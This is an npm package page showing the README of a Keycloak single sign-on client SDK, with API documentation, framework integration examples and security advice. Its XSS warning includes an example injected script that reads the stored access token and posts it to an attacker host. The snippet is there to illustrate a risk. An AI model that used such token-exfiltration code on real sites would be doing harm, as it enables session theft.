npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2025 – Pkg Stats / Ryan Hefner

@xllentai/sso-client

v0.1.15

Published

Xllent SSO 前端客户端 SDK(占位版)

Readme

@xllentai/sso-client

Xllent 平台前端 SSO SDK,提供开箱即用的 Keycloak 单点登录集成能力。

npm version npm downloads TypeScript License

✨ 特性

  • 🚀 开箱即用 - 仅需 12 行代码即可完成集成
  • 🔒 安全可靠 - 自动处理 Token 存储、URL 清理、CSRF 防护
  • 🎯 TypeScript 优先 - 完整的类型定义,智能提示友好
  • 🌍 环境通用 - 同时支持浏览器和 Node.js 环境
  • 轻量灵活 - 零外部依赖,支持自定义存储和请求库
  • 🧪 测试完备 - 核心功能单元测试覆盖

📦 安装

# npm
npm install @xllentai/sso-client

# pnpm
pnpm add @xllentai/sso-client

# yarn
yarn add @xllentai/sso-client

🚀 快速开始

1. 创建客户端实例

import { XllentSSOClient } from '@xllentai/sso-client';

export const ssoClient = new XllentSSOClient({
  appWebsiteUrl: 'https://portal.example.com',
  keycloakUrl: 'https://sso.example.com',
  keycloakRealm: 'account',
  keycloakClientId: 'portal',
  xllentUserServiceUrl: 'https://user-service.example.com',
});

2. 实现登录流程

// 登录页面:跳转到 Keycloak
async function handleLogin() {
  await ssoClient.login(); // 自动跳转到 Keycloak 登录页
}

// 新流程由应用后端回调 Portal API,不再需要前端手动处理 temp_token。
// 如需兼容旧版本,可保留 handleLoginCallback(),但默认无需调用。

// 任意页面:获取用户信息
async function loadUserInfo() {
  const user = await ssoClient.getUserInfo();
  if (user) {
    console.log('当前用户:', user);
  }
}

// 登出
async function handleLogout() {
  await ssoClient.logout(); // 自动跳转到 Keycloak 登出页
}

3. 路由守卫示例(Vue Router)

import { ssoClient } from './sso/client';

router.beforeEach(async (to, from, next) => {
  // 处理登录回调
  if (to.query.temp_token) {
    const session = await ssoClient.handleLoginCallback(to.fullPath);
    if (session) {
      return next({ path: to.path, query: {} }); // 清除URL参数
    }
  }

  // 检查登录状态
  const isAuthenticated = await ssoClient.isAuthenticated();

  if (to.meta.requiresAuth && !isAuthenticated) {
    await ssoClient.login(); // 未登录则跳转登录
  } else {
    next();
  }
});

📖 核心功能

登录相关

login(options?): Promise<string>

跳转到 Keycloak 登录页面。

// 自动跳转(默认)
await ssoClient.login();

// 仅获取登录URL,不跳转
const loginUrl = await ssoClient.login({ redirect: false });
console.log('登录URL:', loginUrl);

handleLoginCallback(url?): Promise<SessionResult | null>

处理 Keycloak 登录回调,兑换临时 Token 为正式 Session。

// 浏览器环境(自动从 window.location 读取)
const session = await ssoClient.handleLoginCallback();

// Node.js 环境或手动指定URL
const session = await ssoClient.handleLoginCallback(
  'https://app.example.com/callback?temp_token=abc123'
);

if (session) {
  console.log('Session ID:', session.sessionId);
  console.log('用户信息:', session.user);
  console.log('租户ID:', session.tenantId);
}

返回值 SessionResult:

interface SessionResult {
  user: SessionUser;          // 用户信息
  tenantId: string;           // 租户ID
  sessionId: string;          // Session ID (jti)
  accessToken?: string;       // 访问令牌
  refreshToken?: string;      // 刷新令牌
  expiresIn?: number;         // 过期时间(秒)
}

logout(options?): Promise<string>

登出并跳转到 Keycloak 登出页面。

// 自动跳转并清除本地缓存
await ssoClient.logout();

// 仅获取登出URL,不跳转
const logoutUrl = await ssoClient.logout({ redirect: false });

用户信息

getUserInfo(forceRefresh?): Promise<SessionUser | null>

获取当前登录用户信息。

// 优先从缓存读取
const user = await ssoClient.getUserInfo();

// 强制从服务器刷新
const freshUser = await ssoClient.getUserInfo(true);

console.log(user?.username);
console.log(user?.email);

返回值 SessionUser:

interface SessionUser {
  id: string;             // 用户ID
  username: string;       // 用户名
  email?: string;         // 邮箱
  realName?: string;      // 真实姓名
  name?: string;          // 显示名称
  avatar?: string;        // 头像URL
  authUserId?: string;    // Keycloak用户ID
  [key: string]: unknown; // 扩展字段
}

isAuthenticated(): Promise<boolean>

检查用户是否已登录。

const isLoggedIn = await ssoClient.isAuthenticated();

if (isLoggedIn) {
  console.log('用户已登录');
} else {
  console.log('用户未登录');
}

Session 管理

refreshSession(): Promise<{ accessToken: string; expiresIn: number } | null>

刷新 Session,获取新的 Access Token。

const newToken = await ssoClient.refreshSession();

if (newToken) {
  console.log('新Token:', newToken.accessToken);
  console.log('过期时间:', newToken.expiresIn, '秒');
}

getCachedAccessToken(): string | null

获取缓存的 Access Token(不发起请求)。

const token = ssoClient.getCachedAccessToken();

if (token) {
  // 使用token调用API
  fetch('/api/data', {
    headers: { Authorization: `Bearer ${token}` }
  });
}

getCachedAccessTokenExpiry(): number | null

获取 Access Token 的过期时间戳(毫秒)。

const expiry = ssoClient.getCachedAccessTokenExpiry();

if (expiry && Date.now() < expiry) {
  console.log('Token有效');
} else {
  console.log('Token已过期,需要刷新');
}

clearCache(): void

清除本地缓存的用户信息和 Token。

// 通常在登出时调用(logout()方法会自动调用)
ssoClient.clearCache();

高级功能

exchangeTempToken(tempToken): Promise<SessionResult>

手动兑换临时 Token(通常由 handleLoginCallback 内部调用)。

const session = await ssoClient.exchangeTempToken('temp-abc123');

getLoginUrl(): Promise<string>

获取 Keycloak 登录 URL(不跳转)。

const loginUrl = await ssoClient.getLoginUrl();
console.log('请访问:', loginUrl);

⚙️ 配置选项

XllentSSOClientOptions

interface XllentSSOClientOptions {
  /** 应用网站基础地址(可选,用于登出回调等场景) */
  appWebsiteUrl?: string;
  /** Keycloak 服务器地址(可选,用于构建 OAuth URL) */
  keycloakUrl?: string;
  /** Keycloak Realm(默认: account) */
  keycloakRealm?: string;
  /** OAuth 客户端ID(默认: portal) */
  keycloakClientId?: string;
  /** User-Service 地址(可选,用于构建 redirect_uri) */
  xllentUserServiceUrl?: string;
  /** 自定义存储适配器(默认: localStorage 或 MemoryStorage) */
  storage?: StorageAdapter;
}

> ⚠️ **OAuth 回调必读**:回调地址已由 User-Service 的 `.config/oauth-clients.json` 统一管理,SDK 会直接将 `state` 设置为 `keycloakClientId`。请确保:
> 1. `.config/oauth-clients.json` 中的各客户端配置包含正确的 `redirectUrl`(应用后端回调接口)。
> 2. 前端传入的 `keycloakClientId` 与配置文件中的键值保持一致,以便 User-Service 拉取正确的 `clientSecret` 与回调地址。

自定义存储示例

import { XllentSSOClient, type StorageAdapter } from '@xllentai/sso-client';

// 示例1: 使用 sessionStorage
const sessionStorageAdapter: StorageAdapter = {
  get: (key) => sessionStorage.getItem(key),
  set: (key, value) => sessionStorage.setItem(key, value),
  remove: (key) => sessionStorage.removeItem(key),
};

// 示例2: 内存存储(适用于服务端渲染)
const memoryStorage = new Map<string, string>();
const memoryAdapter: StorageAdapter = {
  get: (key) => memoryStorage.get(key) ?? null,
  set: (key, value) => memoryStorage.set(key, value),
  remove: (key) => memoryStorage.delete(key),
};

// 示例3: 不存储Token(仅依赖Cookie)
const noCacheAdapter: StorageAdapter = {
  get: () => null,
  set: () => {},
  remove: () => {},
};

const client = new XllentSSOClient({
  apiBaseUrl: 'https://api.example.com',
  storage: noCacheAdapter, // 使用自定义存储
});

🔒 安全最佳实践

⚠️ localStorage 的 XSS 风险

问题: 默认情况下,SDK 将 accessToken 存储在 localStorage 中,存在 XSS 攻击风险。

风险场景:

// 攻击者注入的恶意脚本可以读取localStorage
const token = localStorage.getItem('xllent_sso_access_token');
// 将token发送到攻击者服务器
fetch('https://evil.com/steal', { method: 'POST', body: token });

✅ 推荐方案

方案1: 仅依赖 httpOnly Cookie(推荐)

后端将 Session JWT 存储在 httpOnly Cookie 中,前端不存储任何敏感信息。

const ssoClient = new XllentSSOClient({
  apiBaseUrl: 'https://api.example.com',
  storage: {
    get: () => null,    // 不读取token
    set: () => {},      // 不存储token
    remove: () => {},   // 不删除token
  },
});

// 所有请求自动携带 Cookie
// fetch('/api/data', { credentials: 'include' });

优点:

  • ✅ 防止 XSS 攻击窃取 Token
  • ✅ 后端可控 Session 生命周期

缺点:

  • ⚠️ 跨域需要配置 CORS 允许凭证
  • ⚠️ 移动端 WebView 可能有 Cookie 限制

方案2: 使用 IndexedDB 加密存储

// 需自行实现 IndexedDB 加密存储
import { encryptedIndexedDBStorage } from './storage';

const ssoClient = new XllentSSOClient({
  apiBaseUrl: 'https://api.example.com',
  storage: encryptedIndexedDBStorage,
});

🛡️ 其他安全建议

  1. 启用 Content Security Policy (CSP)

    <meta http-equiv="Content-Security-Policy"
          content="default-src 'self'; script-src 'self' 'unsafe-inline'">
  2. 使用 HTTPS

    • 生产环境必须使用 HTTPS
    • 防止中间人攻击窃取 Token
  3. 设置合理的 Token 过期时间

    • Access Token: 15分钟 - 1小时
    • Session: 7天 - 30天
  4. 实现 Token 自动刷新

    // 在请求拦截器中检查Token过期时间
    const expiry = ssoClient.getCachedAccessTokenExpiry();
    if (expiry && Date.now() > expiry - 5 * 60 * 1000) {
      // 提前5分钟刷新
      await ssoClient.refreshSession();
    }

❓ 常见问题

Q: 如何在 Axios 拦截器中使用?

import axios from 'axios';
import { ssoClient } from './sso/client';

axios.interceptors.request.use(async (config) => {
  // 方案1: 从缓存读取Token
  const token = ssoClient.getCachedAccessToken();
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }

  // 方案2: 依赖Cookie(推荐)
  config.withCredentials = true;

  return config;
});

axios.interceptors.response.use(
  (response) => response,
  async (error) => {
    // Token过期,自动刷新
    if (error.response?.status === 401) {
      const newToken = await ssoClient.refreshSession();
      if (newToken) {
        // 重试原请求
        error.config.headers.Authorization = `Bearer ${newToken.accessToken}`;
        return axios.request(error.config);
      } else {
        // 刷新失败,跳转登录
        await ssoClient.login();
      }
    }
    return Promise.reject(error);
  }
);

Q: 如何在 Next.js 中使用?

// lib/sso-client.ts
import { XllentSSOClient } from '@xllentai/sso-client';

export const ssoClient = new XllentSSOClient({
  apiBaseUrl: process.env.NEXT_PUBLIC_API_URL!,
  fetcher: fetch, // Next.js 自带 fetch polyfill
});

// pages/login.tsx
export default function Login() {
  const handleLogin = async () => {
    await ssoClient.login();
  };

  return <button onClick={handleLogin}>登录</button>;
}

// pages/callback.tsx (App Router)
'use client';
import { useEffect } from 'react';
import { useRouter } from 'next/navigation';
import { ssoClient } from '@/lib/sso-client';

export default function Callback() {
  const router = useRouter();

  useEffect(() => {
    ssoClient.handleLoginCallback().then((session) => {
      if (session) {
        router.push('/dashboard');
      }
    });
  }, [router]);

  return <div>登录中...</div>;
}

Q: 如何处理多租户?

// Session中包含 tenantId
const session = await ssoClient.handleLoginCallback();

if (session) {
  const tenantId = session.tenantId;

  // 根据租户ID配置应用
  setupTenantConfig(tenantId);

  // 或存储到全局状态
  store.commit('setTenant', tenantId);
}

Q: 如何在单元测试中 Mock?

import { vi } from 'vitest';
import { XllentSSOClient } from '@xllentai/sso-client';

// Mock fetch
const mockFetch = vi.fn();

const client = new XllentSSOClient({
  apiBaseUrl: 'https://test.com',
  fetcher: mockFetch as any,
  storage: {
    get: vi.fn(),
    set: vi.fn(),
    remove: vi.fn(),
  },
});

// 测试
test('获取用户信息', async () => {
  mockFetch.mockResolvedValue(
    new Response(JSON.stringify({ data: { id: '1', username: 'test' } }))
  );

  const user = await client.getUserInfo();
  expect(user?.username).toBe('test');
});

Q: 为什么有时登录后立即检查 isAuthenticated() 返回 false

这通常是因为:

  1. Cookie 还未设置完成(跨域情况)
  2. 网络延迟导致状态检查先于 Session 创建完成

解决方案:

// 登录回调时,优先使用返回值判断
const session = await ssoClient.handleLoginCallback();
if (session) {
  // ✅ 确定已登录,无需再调用 isAuthenticated()
  router.push('/dashboard');
}

// 或者使用缓存的用户信息
const user = ssoClient.getCachedUser();
if (user) {
  // ✅ 本地缓存有用户信息,说明已登录
}

📚 完整示例

Vue 3 + Vite 完整集成

// src/sso/client.ts
import { XllentSSOClient } from '@xllentai/sso-client';

export const ssoClient = new XllentSSOClient({
  apiBaseUrl: import.meta.env.VITE_API_URL,
});

// src/router/index.ts
import { createRouter, createWebHistory } from 'vue-router';
import { ssoClient } from '@/sso/client';

const router = createRouter({
  history: createWebHistory(),
  routes: [
    {
      path: '/login',
      component: () => import('@/views/Login.vue'),
    },
    {
      path: '/callback',
      component: () => import('@/views/Callback.vue'),
    },
    {
      path: '/dashboard',
      component: () => import('@/views/Dashboard.vue'),
      meta: { requiresAuth: true },
    },
  ],
});

router.beforeEach(async (to, from, next) => {
  // 处理回调
  if (to.query.temp_token) {
    const session = await ssoClient.handleLoginCallback(to.fullPath);
    if (session) {
      return next({ path: to.path, replace: true, query: {} });
    }
  }

  // 需要登录的页面
  if (to.meta.requiresAuth) {
    const isAuth = await ssoClient.isAuthenticated();
    if (!isAuth) {
      await ssoClient.login();
      return;
    }
  }

  next();
});

export default router;

// src/views/Login.vue
<template>
  <button @click="handleLogin">使用 Keycloak 登录</button>
</template>

<script setup lang="ts">
import { ssoClient } from '@/sso/client';

const handleLogin = async () => {
  await ssoClient.login();
};
</script>

// src/views/Dashboard.vue
<template>
  <div>
    <h1>欢迎, {{ user?.username }}</h1>
    <button @click="handleLogout">登出</button>
  </div>
</template>

<script setup lang="ts">
import { ref, onMounted } from 'vue';
import { ssoClient } from '@/sso/client';

const user = ref();

onMounted(async () => {
  user.value = await ssoClient.getUserInfo();
});

const handleLogout = async () => {
  await ssoClient.logout();
};
</script>

🔗 相关链接

📄 许可证

MIT License


维护团队: Xllent Platform Team 问题反馈: GitHub Issues